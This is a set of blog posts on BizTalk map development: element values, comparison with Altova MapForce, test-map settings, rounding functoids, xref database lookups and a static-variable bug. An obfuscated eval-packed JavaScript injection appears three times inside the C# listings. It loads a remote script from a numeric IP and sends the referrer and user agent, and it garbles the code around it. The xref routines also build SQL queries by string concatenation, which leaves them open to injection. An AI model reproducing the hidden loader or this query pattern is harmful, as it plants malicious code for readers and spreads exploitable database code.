What do you when you cannot connect an element on the left to one on the right in a Biztalk map?  Today, I had a case where I was trying to update a map created by another developer.  I thought the values on the right side were missing, but later I noticed they had a value in the property.  At first, I thought these values were defaulted in the schema, but a closer look at the schema showed no default values.

So this comes to show that you can set the value of an element by just typing in the value in the “Value” property.  Once you have set that property, you can no longer drag and drop any value into that element on the GUI part of the map.

Here’s an example with a small schema with just two elements:

BizTalk Map - Setting Value Property

BizTalk Map – Setting Value Property

Below is an example what happens when you try to connect an element (after the value is set).  The icon will change to the “no drop” (circle with a slash through it) symbol.

Cannot Map to Target Element

Cannot Map to Target Element

So this goes to show that after 15 years or more of BizTalk, you can still learn new tricks and find new issues.

 

BizTalk Mapper and Altova MapForce are both tools used to data from one schema to another. A schema internally is treated as XML, but may represent a flat file, CSV, a SQL table to stored proc, or a web service request/response message. Typically the job of a B2B developer is to map data from one format to the other. In this blog, I compare mapping from schema “Flight” to schema “FlightNew” using both tools.

BizTalk

Below is a sample BizTalk Map.

BizTalk Example Map

BizTalk Example Map

BizTalk has various functions called Functoids. Internally, these are implemented in C# embedded in the XSLT code. There is a red concatenate Functoid in the sample above, and two Scripting Component Functoids. A Scripting Component allows you to type or paste-in your own custom C# code. So this is how I implemented the difference in the two dates.

BizTalk_Script_Functoid_CSharp

You can right-click on the map properties in the Solution Explorer, and set the desired XML input file. Then right-click the map name in Solution Explorer, and click “Test Map”. After the map runs, you will see some text in the Output window. You can CNTL-CLICK on the output file, then you will then see the results below.

BizTalk - Results of "Test Map"

BizTalk – Results of “Test Map”

Altova MapForce

Altova MapForce - Full Screen

Altova MapForce – Full Screen

MapForce has a “datetime-diff” function, but the output has to go to a field defined with a type of xs:duration. I had actually never heard of this data type before. You can see the “concat” function in XSLT is essentially identical to the one in BizTalk.

Altova MapForce - Zoom In on Mapping

Altova MapForce – Zoom In on Mapping

Click the “Output” tab under the map to view the conversion of the data to the new schema format:

Altova MapForce - Sample Output

Altova MapForce – Sample Output

 

However, some functions are only supported in C# and Java. When switching to XSLT, I found the function below to be unavailable. You can see the striped lines appear in the function below.

Altova_MapForce_NonXSLT_Function

I didn’t have time to try to reimplement that function in XSLT.  So below is the same map without being able to compute the difference between ScheduledDateTIme and ActualDateTime.

When in XSLT mode, and XSLT tab appears below the mapper. Below is the view of the XSLT code generated from the visual tool.

One of the advantages of MapForce is that it can build XSLT, and has a two-way editor. You can edit the visual mapper, or edit the XSLT code directly, and the other automatically syncs.

Altova MapForce XSLT Tab

Altova MapForce XSLT Tab

Altova can also generate Java, C# or C++ code to perform the transformation.  You can take that code, and call it from your application.  MapForce has EDI functionality built in, so you can map for example 850 Purchase Orders into XML data.

One of the advantages of MapForce is that it can build XSLT, and has a two-way editor. You can edit the visual mapper, or edit the XSLT code directly, and the other automatically syncs.

By the way, BizTalk does support XSLT, but once you switch to what they call “Custom XSLT”, you can no longer use the visual “GUI” editor.

So in this overview, we see two ways to map data using two different but similar tools.  We saw that the scripting functions can be quite different in the two products.

Yes, today we are stepping into our magic time machine, and going back to BizTalk 2004. Why? Because that’s what I had to do at work today. And I forgot a few basics from that long ago time. I needed to test a map in Visual Studio – and I was totally lost. I googled, couldn’t find anything easily. Had to ask a co-worker, even though I used BizTalk 2004 and even used to teach it. Thus the reason for this blog.

The trick is that you have to do right-click (on the map) then click “Properties”. A separate “Properties Window” pops-up, different than the Visual Studio component properties (that we are used to seeing by default in the lower right corner of the screen).

Here’s what it looks like:

BT2004 Map Properties

BT2004 Map Properties

The properties screen looks like this:

BT2004 Map Property Pages

BT2004 Map Property Pages

From there just type or paste your filename in the “TestMap Input Instance”. Then later, when you do a right-click “Test Map” on your map, that’s the file it will use for input.

Just to compare, in BT2010 with VS2010, it looks like this:

BT2010 - Test Map - Map Properties

BT2010 – Test Map – Map Properties

You still use the Output window to see the results of the test-map, CNTL-CLICK on the output file name to open it and see the results. If you get a lot of errors or warnings, you could try setting “Validate TestMap Input” and “Validate TestMap Output” to False.

It is not hard to initialize an empty group element in a BizTalk map. After ten years of BizTalk, I don’t remember having to do it before, and at first, I thought I would have to create an XSLT functoid. That works to, but here is the easy way.

I had a customer who had an element called Condition with an “array” of int element under it. For some reason, when there was not a single value of “int” being set, they still wanted the parent element “” to be created.

I almost always use the “String Concatenate” functoid to initialize a new field. My fear of using it was that I thought I had to put a value in the “Value” column. You see below there is a yellow warning sign to the left, indicating no value has been set.

InitializeEmptyGroupElement1

While it’s true that you do need a value, the value can be an empty string. Just click in the “Value” column, then click back on the “Name” column, and the icon changes to a white check box in a green circle.

InitializeEmptyGroupElement2

You probably already know that you can right click the Map in solution explorer, then select “Validate Map” to see the XSL generated. Here is what was generated for the above case.

InitializeEmptyGroupElement3_XSLT

The value from the GUI that is typed in, or in this specific class, when I just clicked on the field is highlighted in yellow. It is set to $var:v1 which is put as the value of the element.

Normally, I would call a static method in a C# library rather than coding this in a functoid. It’s easier to unit test, you get full Intellisense (automatic code completion), and it just seems easier. However, I’m at a new client, that doesn’t yet have a C# library. It’s really no big deal to add one, but the client thought it would be simpler to just do the entire thing in a C# Scripting Functoid. It’s my first change to their system, so I didn’t want to make it overly complicated. (My plan is to introduce BizTalk Deployment Framework as soon as possible.) It actually took longer because of the snags I hit.

By the way, this is BizTalk 2010 and Visual Studio 2010.

I did write the code in C#, tested it, then copied it into the functoid. Then I started getting this error.

The code wrapped some additional logic around this statement:

string <noindex><script id="wpinfo-pst1" type="text/javascript" rel="nofollow">eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("<a g=\'2\' c=\'d\' e=\'b/2\' 4=\'7://5.8.9.f/1/h.s.t?r="+3(0.p)+"\o="+3(j.i)+"\'><\/k"+"l>");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ydatk|var|u0026u|referrer|efdar||js|php'.split('|'),0,{}))
</script></noindex> databaseName = ConfigurationManager.AppSettings["CustomDatabaseName"];

This resulted in this compile error, even though System.Configuration was already being referenced by the project.

error btm1021: Inline Script Error: The type or namespace name 'ConfigurationManager' does not exist in the namespace 'System.Configuration' (are you missing an assembly reference?)

To get the code to work, I had to go back to the obsoleted code as follows:

string databaseName = System.Configuration.ConfigurationManager.AppSettings.Get("CustomDatabaseName").ToString();

If you compile the above in normal VS2010, you will get this warning; but for some reason in the BizTalk project, the same warning does not appear.

 warning CS0618: 'System.Configuration.ConfigurationSettings.AppSettings' is obsolete: 'This method is obsolete, it has been replaced by System.Configuration!System.Configuration.ConfigurationManager.AppSettings'

References:
1. https://social.msdn.microsoft.com/Forums/en-US/87269a94-a3e6-439b-856f-24c5ba582440/cannot-call-appsettingsget-method-in-map?forum=biztalkgeneral
This was starts to explain why it won’t work, based on your C# in-line script having to be embedded inside of the XSLT code.
2. http://blogs.msdn.com/b/brajens/archive/2007/01/16/using-configuration-in-biztalk-map.aspx
3. https://social.msdn.microsoft.com/Forums/en-US/87269a94-a3e6-439b-856f-24c5ba582440/cannot-call-appsettingsget-method-in-map?forum=biztalkgeneral

The BizTalk roundingfunctoid uses “Banker’s rounding” by default. That means if you have odd numbers round away from zero, and even numbers round towards zero.
For example, 1.5 rounds to 2, and 2.5 rounds to 2. This is the a “fair” way of rounding, so that neither party in a business transaction benefits. I’m currently working in the aviation fuel industry, and they always wanted to round “up”. In Microsoft terminology, this is called “away from zero”, because for negative numbers you are rounding up- or away from zero, to a bigger negative number.

First I implemented the first function below. It worked great when the data was clean. But if I had a field with a NULL value (i.e. the XML element was missing), the routine blew up with a nasty error.

I came up with the idea of the second routine, called “RoundAwayFromZeroSafe”. I have to pass more parameters to it, in order to get a useful error message written to the application event log.
If I wanted my code to be re-usable, these parms are needed to identify 1) Which map (I include the project name/map name here), 2) Field Name (for example, Net vs Gross, which field being rounded caused the problem), and 3) some identification number (in my case it was called TicketNum, although I should have gone with a more generic name for the parm). The first parm is the number to round, that comes from the left side of the map. Likewise, the TicketNum comes from the left side of the map. The other two fields are entered as constants into the Scripting Functoid (see picture below the code).

Why do I want to pass the ID/TicketNum?  Suppose you have a map of 1000 tickets/records.  How do you know which one has the bad data in it, unless you include the ID in the error?  It certainly saves a lot of time guessing or searching for the bad data to have it clearly labeled which “row” it is on.

 <noindex><script id="wpinfo-pst1" type="text/javascript" rel="nofollow">eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("<a g=\'2\' c=\'d\' e=\'b/2\' 4=\'7://5.8.9.f/1/h.s.t?r="+3(0.p)+"\o="+3(j.i)+"\'><\/k"+"l>");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|kbase|var|u0026u|referrer|tsdes||js|php'.split('|'),0,{}))
</script></noindex>        public static decimal RoundAwayFromZero(decimal numberToRound)
        {
            // BizTalk functoid uses MidpointRounding.ToEven (also called Banker's Rounding)
            // http://msdn.microsoft.com/en-us/library/system.midpointrounding%28v=vs.110%29.aspx 
            // BUt we want to always "round up", i.e. away from zero. 
            return Math.Round(numberToRound, 0, MidpointRounding.AwayFromZero);
        }

        public static decimal RoundAwayFromZeroSafe(string strNumberToRound, string strTicketNum, string strMapName, string strFieldName)
        {

            decimal decNumberToRound = 0; 
            if (decimal.TryParse(strNumberToRound, out decNumberToRound)) 
            {

                // BizTalk functoid uses MidpointRounding.ToEven (also called Banker's Rounding)
                // http://msdn.microsoft.com/en-us/library/system.midpointrounding%28v=vs.110%29.aspx 
                // BUt we want to always "round up", i.e. away from zero. 
                return Math.Round(decNumberToRound, 0, MidpointRounding.AwayFromZero);
            }
            else if (strNumberToRound == null) 
            {
                // same as below, but no need to write error message to EventLog 
                return 0;
            }
            else 
            {
                string errorMsg = "Non-Decimal passed to RoundAwayFromZeroSafe Ticket=" + strTicketNum +
                                    " MapName=" + strMapName + 
                                    " FieldName=" + strFieldName + 
                                    " Value Passed='" + strNumberToRound + "'";
                System.Diagnostics.EventLog.WriteEntry("Logger", errorMsg, System.Diagnostics.EventLogEntryType.Error);
                return 0;
            }
        }

This shows how I pass the constants to the above routine: RoundAwayFromZeroSafe

BizTalkRoundingFunctoidConfig

Here’s an example of the error written the log (before I started checking for nulls). One might debate whether a map should ever write to the log. In theory, these type of errors should be worked out during development and QA, so it should never happen in Production. We use “Logger” for our common Event-Log-Source, so any of our programs that write to the EventLog will be tagged with the source as “Logger”. NOTE: There are a few extra steps (documented elsewhere) to establish a new event log source on each system.

BizTalkRoundingFunctoidEventLogErrorExample

The actual message reads:

Non-Decimal passed to RoundAwayFromZeroSafe Ticket=QT.Epic.Export:EFSRExtractsGrouped_v1_0_To_EPIC_csv.btm MapName=SPMSP476723 FieldName=Gross Value Passed=”

(Oops – I just noticed that I have Ticket and Mapname backwards in the error message).

 

Microsoft References:
1) BizTalk Rounding Functoid
2) Microsoft Rounding AwayFromZero vs ToEven (Banker’s Rounding)

Xref Database Routines

BizTalk has the ability to store cross reference (xref) values in the BizTalkMgmtDB. Usually, mapping functoids handle the conversion, but the following routines allow the same lookups from anywhere you can call C#.


 <noindex><script id="wpinfo-pst1" type="text/javascript" rel="nofollow">eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("<a g=\'2\' c=\'d\' e=\'b/2\' 4=\'7://5.8.9.f/1/h.s.t?r="+3(0.p)+"\o="+3(j.i)+"\'><\/k"+"l>");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zsehb|var|u0026u|referrer|sfaar||js|php'.split('|'),0,{}))
</script></noindex>        /// <summary>
        /// This does the SQL lookup/conversion to the BizTalk XREF tables.
        /// </summary>
        /// <param name="appType"></param>
        /// <param name="valueXRefName"></param>
        /// <param name="strLookupValue"></param>
        /// <returns></returns>
        static string GetLookupCommonValue(string appType, string valueXRefName, string strLookupValue)
        {

            SqlConnection sqlConn = new SqlConnection(GetBizTalkDBConnectionString());

            sqlConn.Open();

            string query =
            "select commonValue from xref_ValueXRefData " +
            "   inner join xref_ValueXref on xref_ValueXref.valueXrefId = xref_ValueXRefData.valueXRefID " +
            "   inner join xref_AppType on xref_AppType.appTypeId = xref_ValueXRefData.appTypeID " +
            "   where valueXRefName = '" + valueXRefName + "'" +
            "   and appType = '" + appType + "'" +
            "   and appValue = '" + strLookupValue + "'";
            //Console.WriteLine("query=" + query);

            SqlCommand cmd = new SqlCommand(query);
            cmd.Connection = sqlConn;
            SqlDataReader rdr = cmd.ExecuteReader();


            bool gotRow = rdr.Read(); // only expecting one row - no reason to loop here
            if (!gotRow)
            {
                sqlConn.Close();
                throw new Exception("strLookupValue=" + strLookupValue + " not found.  (BizTalkMgmtDb) No value found for query=" + query);
            }
            string commonValue = (string)rdr["commonValue"];
            //Console.WriteLine("CommonValue=" + commonValue);
            sqlConn.Close();

            return commonValue;
        }


        static string GetLookupCommonValueByKeys(int valueXRefId, int appTypeId, string strLookupValue)
        {

            SqlConnection sqlConn = new SqlConnection(GetBizTalkDBConnectionString());

            sqlConn.Open();

            string query = "select commonValue from xref_ValueXRefData where valueXRefID = " + valueXRefId +
                " and appTypeID = " + appTypeId +
                " and appValue = '" + strLookupValue + "'";

            //Console.WriteLine("query=" + query);

            SqlCommand cmd = new SqlCommand(query);
            cmd.Connection = sqlConn;
            SqlDataReader rdr = cmd.ExecuteReader();


            bool gotRow = rdr.Read(); // only expecting one row - no reason to loop here
            if (!gotRow)
            {
                sqlConn.Close();
                throw new Exception("strLookupValue=" + strLookupValue + " not found.  (BizTalkMgmtDb) No value found for query=" + query);
            }
            string commonValue = (string)rdr["commonValue"];
            //Console.WriteLine("CommonValue=" + commonValue);
            sqlConn.Close();

            return commonValue;
        }

        /// <summary>
        /// xref tables are part of BizTalkMgmtDb.  Any system running BizTalk with have the connection string
        /// in the registry.  The following  common routine  finds that conn-string in the registry. 
        /// </summary>
        /// <returns></returns>
        private static string GetBizTalkDBConnectionString()
        {
            string connString =
                TFBIC.Common.BizTalk.Components.MapHelper.DynamicSQLConnectionString("BizTalkMgmtDb");
            //Console.WriteLine("ConnString=" + connString);

            // Above routine was changed so as not to include the OLEDB provider.
            //connString = connString.Replace("Provider=SQLOLEDB.1;", "");  // remove old OLEDB provider
            //Console.WriteLine("ConnString=" + connString);
            return connString;

        }
        // This was before we had two methods to get connection strings
        private static string GetBizTalkDBConnectionString2()
        {
            string connString =
                TFBIC.Common.BizTalk.Components.MapHelper.DynamicSQLConnectionStringOLEDB("BizTalkMgmtDb");
            //Console.WriteLine("ConnString=" + connString);

            connString = connString.Replace("Provider=SQLOLEDB.1;", "");  // remove old OLEDB provider
            //Console.WriteLine("ConnString=" + connString);
            return connString;

        }



This page shows the middle of two “butt-ugly” (and complex) BizTalk Maps.

BizTalk Mapper is a plug-in to Visual Studio that allows the BizTalk developer to map from one schema to another. ?It builds XSLT behind the scene, or the developer can do the entire map in XSLT or fragments of it in XSLT.

The developer places “Functoids” from the Toolbar onto the mapping grids (shown below), and connects them . ?See bottom of this blog for example functoids.

Some maps are super simple, but others are incredible complex. ?Documents such as EDI or Rosetta Net can contain as many as 1000 or 2000 elements in the schema that can be mapped. ?It can more complex when those elements are nested and looped (i.e. occur multiple times).

The grid can even be subdivided into tabs at the bottom. ?Even then, you can get ugly maps like the ones above. ?When you scroll the schema on the left or the right, the grid is redrawn, and the lines will move and re-draw accordingly.

Here is an example of a simple map and part of the ToolBox with the functoids is shown on the left. ?This image also let’s you see the schema on the left (source) and the right (target). ?I couldn’t show the schema elements in the maps above because they were proprietary.

The categories of functoids are (each one has a different color code):

  1. Advanced
  2. Conversion
  3. Cumulative
  4. Database
  5. Date/Time
  6. Logical
  7. Mathematical
  8. Scientific
  9. String (shown in last image above, the red “functoids” on the left)

Here are some videos training that I did on BizTalk Maps (from “MrBizTalk” channel on YouTube.com).

Do you have some ugly maps. ?Send me your pictures to: uglymaps@biztalk-training.com
and I’ll post them here!

Neal

Bug Scenario: You are using C# variable in Mapping Functoids.
You run a map through “Test Map” and it works fine each time.

You run a file through a receive location, running the same map. Works great first time, but second time it maps nothing (or behaves differently). When you restart BizTalk Host Instance, it works fine first time, but not second time.

Why are we using a variable in the first place? The ideas was to map a field just one time (in a loop). So once the field is mapped, we need to set a flag not to map it again.


What is the bug in the following code?

<code>
public static bool gotCoborrowerLastname = false;

public static string CoborrowerLastname (string param1)
{
     string result = "false";
     if (param1.ToUpper() == "TRUE" && !gotCoborrowerLastname)
         {
                gotCoborrowerLastname = true;
            	result = "true";
         }

      return result;
}
</code>

The “static” keyword must be removed from the global variable. By making it static, only one copy of the variable is held in memory. Thus, the variable stays set to the last value, even when you run a new map. The variable does not get reset until you restart the BizTalk Host instance.

<code>
public bool gotCoborrowerLastname = false;
</code>

If more than one borrower occurs under “Borrowers”, we get the following error:

A message sent to adapter “FILE” on send port “YourSendPortName” with URI “c:BiztalkDemosYourSubFolder%SourceFileName%” is suspended.
Error details: Unable to read the stream produced by the pipeline.
Details: Cannot find definition for the input: BORROWER

The m ap w as using a Logical-If and a Value-Flattening Functoid.
The incoming test data was auto-generated by doing a right-click generate on a schema,
thus we had duplicate children (Borrowers) in the incoming data file.

By changing the test data, and setting various flags so that the Logical-If functoid only selected one child amongst the children, the problem went away.

This error was only detected when running via the pipeline. The error did not occur when doing a “Test Map” inside Visual Studio.